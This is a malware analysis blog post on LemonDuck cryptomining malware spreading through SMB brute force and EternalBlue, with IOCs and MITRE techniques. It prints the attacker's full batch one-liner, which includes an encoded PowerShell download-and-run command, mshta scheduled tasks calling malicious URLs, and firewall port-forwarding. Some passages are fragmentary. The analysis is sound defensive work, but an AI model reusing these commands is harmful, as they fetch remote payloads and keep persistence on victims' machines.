Summary: This blog post provides an in-depth analysis of the LemonDuck malware, which exploits the EternalBlue vulnerability (CVE-2017-0144) in SMB services for cryptocurrency mining. It details the attack methodology, persistence mechanisms, and evasion tactics used by the malware operators based on observations from an observatory farm.
Threat Actor: LemonDuck Operators | LemonDuck
Victim: SMB Services | SMB Services
Key Point :
- The attacker leveraged the EternalBlue vulnerability to gain unauthorized access to the SMB service through brute-force attacks.
- Once inside, the attacker created hidden administrative shares, deployed malicious scripts, and established persistence through scheduled tasks to maintain control over the compromised system.
- The malware employs various evasion techniques, including disabling Windows Defender and modifying firewall settings, to avoid detection while executing cryptomining operations.
This post was authored by Aufa and NetbyteSEC Interns (Irham, Idham, Adnin, Nabiha, Haiqal, Amirul)
This blog post is intended to give an overall picture of LemonDuck malware exploited SMB by leveraging EternalBlue vulnerability (CVE-2017-0144) for cryptocurrency mining, based on observations from our observatory farm. EternalBlue is a significant vulnerability in Microsoft’s Server Message Block (SMB) protocol that has been exploited by numerous malware variants. One such strain, LemonDuck, is a well-known cryptomining malware that takes advantage of weaknesses in SMB services to breach networks, disable security measures, and utilize system resources for cryptomining purposes. It spreads through phishing emails, exploiting SMB vulnerabilities, and using brute-force password attacks. Additionally, LemonDuck employs PowerShell to avoid detection, deploy various malicious payloads, and target systems for cryptojacking.
This blog post might be useful for security professionals with insights into current malware trends and attack techniques observed in the wild. By the end of this blog post, readers will gain a comprehensive understanding of the tactics and techniques used by this LemonDuck malware operator that compromised users via the SMB domain admin. Furthermore, security analyst can assess the provided Indicator of Compromise (IOCs) associated with LemonDuck malware variant to assess whether their environment has been compromised or not.
Case Summary
The attacker initiated a brute force attack in the vulnerable SMB service leveraging Eternal Blue (CVE-2017-0144) vulnerability which was running on our observatory farm, successfully compromising the user “Administrator”. Upon gaining initial access, the attacker creates a hidden administrative share for the C: drive enabling them to remotely access the entire drive without the victim’s knowledge. The attacker created a batch file named p.bat, designed to execute a series of malicious actions aimed at gaining persistent control over a system. It first creates and copies malicious file msInstall.exe, then rename it into FdQn.exe, opens specific firewall ports and sets up port forwarding to redirect traffic to a remote address (1.1.1.1) on port 53. The script checks for PowerShell and, if found, runs a base64-encoded PowerShell script to download and execute script from remote URL and schedule the execution of FdQn.exe regularly. If PowerShell isn’t available, it creates scheduled tasks to run malicious payloads from a remote URL using mshta, and executes the malware installed.exe. It also includes anti-detection mechanisms by monitoring the number of open command prompts and forcing a system reboot if more than 10 are detected, likely to disrupt analysis or debugging efforts.
Finally, it cleans up by deleting the batch file itself after execution. Additionally, the attacker also create another malicious executable that disguised a legitimate system service named svchost.exe. This malware was able to disable Windows Defender’s real-time protection and create exclusions for the entire C: drive and the PowerShell process to avoid detection. Similarly with the previous, the script manipulates the firewall and sets up port forwarding to redirect traffic to a remote address (1.1.1.1) on port 53, commonly used for DNS. It copies and renames malicious executables (svchost.exe, dig.exe) into (HbxbVCnn.exe, SgcwqM.exe) and sets up scheduled tasks to run these files at regular intervals, ensuring persistence. The script also interacts with other scheduled tasks, including deleting and recreating them for continued execution of the malware. This malware attempts to bypass security measures, gain network control, and maintain persistence on the system while executing hidden tasks. By the end of their operation, the attacker delete the administrative share in order to hide their tracks or eliminate the administrative shares where they can maintain control of the compromised system exclusively for themselves.
.png)
Technical Analysis
Brute-force SMB for Initial Access
In the initial access phase, the attacker with IP address 211.22.131.99 initiated brute-forcing activities targeting the SMB machine and successfully logged in as a local user named Administrator. Figure below illustrates some of the account names tested during the brute force attempts.
According to IPThreat, the IP address 211.22.131.99 originated from Taichung City, Taiwan has been flagged by 5 vendors and has been reported as “brute force” activities on RDP by Servinformatica and Anonymous on IPThreat, raising concerns about potential malicious behavior. Hence, we can conclude that the IP address is malicious and will continuously attempt brute force attacks, posing a significant threat to organization’s security.

Creating a Hidden Administrative Share
on the local machine. This administrative share allows users with appropriate administrative credentials to access the root of the C drive remotely over the network. Creating a hidden administrative share on the C: drive allows attackers remote access, persistence, and an easier way to evade detection while performing malicious activities.


Exploitation and Persistence

cmd /c echo oEAZjlit >> c:windowstempmsInstall.exe&echo copy /y c:windowstempmsInstall.exe c:windowsFdQN.exe>c:/windows/temp/p.bat&echo "*" >c:windowstempeb.txt&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65529 DNSS3 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn NFUBffk /tr "c:windowsFdQN.exe" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.zz3r0.com/page.html?pSVR-ESCWEBAPP"^&schtasks /run /TN Autocheck^&schtasks /delete /TN NFUBffk /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN NFUBffk /tr "c:windowsFdQN.exe"^&schtasks /run /TN NFUBffk^&schtasks /delete /TN Autoload /f^&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autoload /tr "c:windowstempinstalled.exe"^&schtasks /run /TN Autoload^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in ('tasklist ^^^| find /c /i "cmd.exe"'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo del c:windowstempp.bat>>c:/windows/temp/p.bat&echo c:windowstempinstalled.exe>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat&cmd /c c:windowstempinstalled.exe
start the driver, and cleanup and final execution.


remote server (http://t.amynx.com/gim.jsp). Additionally, VirusTotal flagged this URL as
malicious. Further analysis was conducted, it was identified that the URL associated to crypto
mining activities and the LemonDuck malware. Cisco Talos Blog also has been shared the IOC related to LemonDuck which is one of the hostname is T[.]AMYNYX[.]COM.

Figure 10: Detection of http://t.amynx.com/gim.jsp as LemonDuck malware
“NFUBffk” that was configured to execute “FdQN.exe” every 60 minutes, beginning at 07:05 AM,
thereby ensuring regular execution of this malware. This executable file associated with LemonDuck malware which will be discussed later.

activities continue without leaving the batch file behind as evidence. This cleanup step helps
to obscure the attack’s origins and reduce the chances of detection.
containing several functions for exploitation, which is crucial to highlight. Notably, some
commands from the previous execution were repeated.

*
character into ipc.txt, act as signal or marker indicating that the malware has either successfully completed its current tasks or it is ready to proceed with the next stage of the attack. This file-based signaling mechanism is often used in malware to coordinate actions between different components or steps in an attack. a port proxy to forward traffic from this port to an external IP 1.1.1.1 on port 53 (DNS). This is likely used for Command and Control (C2) communication, allowing the attacker to control the infected system remotely or exfiltrate data. This is a critical step for malware, as it helps evade detection and prevents security software from scanning files and processes during execution.

Malware Technical Analysis and Reverse Engineering
(msInstall.exe) and skuAtH.exe (svchost.exe). Based on the VirusTotal result, msInstall.exe shows a high detection rate among various antivirus
signatures, identifying it as the LemonDuck variant of malware.

to authenticate each combination on the targeted IP using the exploit function, trying each combination on the target IP using the exploit function.




- smb_send_file() function copy an executable (msInstall
.exe
) file to theC:windowstemp
directory on the remote system, the script renames the file to FdQn.exe and creates a batch file (p.bat
). - A series of activities associated with the batch file include commands to copy the renamed executable, create scheduled tasks, modify firewall rules, and initiate network communication through open ports (65531 and 65532).
- Scheduled task for persistence: Several scheduled tasks are created and managed to ensure the malware is executed at regular intervals, such as every 10 or 50 minutes. They point to the FdQn.exe files, including those downloaded from malicious URLs (http://w.zz3r0.com/page.html).
- Privilege escalation and system monitoring: The script checks if PowerShell is available on the system. If found, it uses PowerShell to download a remote script from the specified URL (http://t.amynyx.com/gim.jsp) and immediately executes it on the system.
- System service manipulation: The script restarts or manipulates system services like Ddriver and uses schtasks to run malicious executables on a schedule.



Windows systems. It can retrieve plaintext passwords, NTLM hashes, and Kerberos tickets,
enabling attacks like pass-the-hash and pass-the-ticket. LemonDuck malware operator might leverage Mimikatz as part of its infection strategy to steal credentials and move laterally across compromised networks.
Conclusion
In conclusion, the LemonDuck malware exploits the SMB services by leveraging Eternal Blue (CVE-2017-0144) vulnerability. Upon successfully gaining initial access, the attacker create malicious batch file and executable file the are able to manipulate network settings, and set up multiple scheduled tasks to execute malware and also able to retrieve malicious code from remote URLs, ensuring persistence on the compromised system. To maintain stealth and evade detection, the attacker disable Windows Defender real-time monitoring, add the C: drive to the exclusion list, and modifies the malicious files by renaming or moving them in c:windows directory. The techniques employ by the attacker to ensure continuous operation of the malware while attempting to evade detection. Hence, it is crucial for organizations to ensure that all operating systems and software are regularly updated to protect against known vulnerabilities, including EternalBlue (CVE-2017-0144) to minimize the risk from being compromised.
Indicator of Compromise (IOC)
TTP
- Exploit Public-Facing Application T1190
- Command and Scripting Interpreter: PowerShell T1059.001
- Command and Scripting Interpreter: Windows Command Shell T1059.003
- Valid Accounts T1078.001
- Scheduled Task/Job T1053.005
- Impair Defenses: Disable or Modify Tools T1562.001
- Impair Defenses: Disable or Modify System Firewall T1562.004
Source: https://notes.netbytesec.com/2024/10/lemonduck-unleashes-cryptomining.html
Views: 0